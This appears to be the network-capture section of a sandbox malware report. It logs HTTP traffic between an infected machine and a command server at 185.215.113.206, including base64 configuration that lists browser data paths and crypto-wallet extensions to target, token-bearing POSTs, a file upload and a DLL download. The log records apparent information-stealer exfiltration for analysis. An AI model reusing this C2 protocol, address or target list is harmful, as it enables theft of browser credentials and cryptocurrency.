R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 29, 2024 15:27:18.068141937 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 29, 2024 15:27:18.068254948 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 29, 2024 15:27:18.069153070 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 29, 2024 15:27:18.069807053 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDAAEHIEHIECBKJDG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="message"plugins------HIDHDAAEHIEHIECBKJDG--
Oct 29, 2024 15:27:18.072531939 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 29, 2024 15:27:18.075612068 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 29, 2024 15:27:18.554430008 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 29, 2024 15:27:18.554444075 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 29, 2024 15:27:18.554460049 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 29, 2024 15:27:18.554469109 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 29, 2024 15:27:18.554713964 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 29, 2024 15:27:18.554723024 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 29, 2024 15:27:18.554867983 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 29, 2024 15:27:18.563803911 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="message"fplugins------JJJDGIECFCAKKFHIIIJE--
Oct 29, 2024 15:27:18.843812943 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 29, 2024 15:27:18.921840906 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDB Host: 185.215.113.206 Content-Length: 7559 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 15:27:18.921895027 CET	7559	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 Data Ascii: ------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 29, 2024 15:27:20.121699095 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 15:27:20.122411013 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 15:27:20.488806009 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 15:27:20.766020060 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< 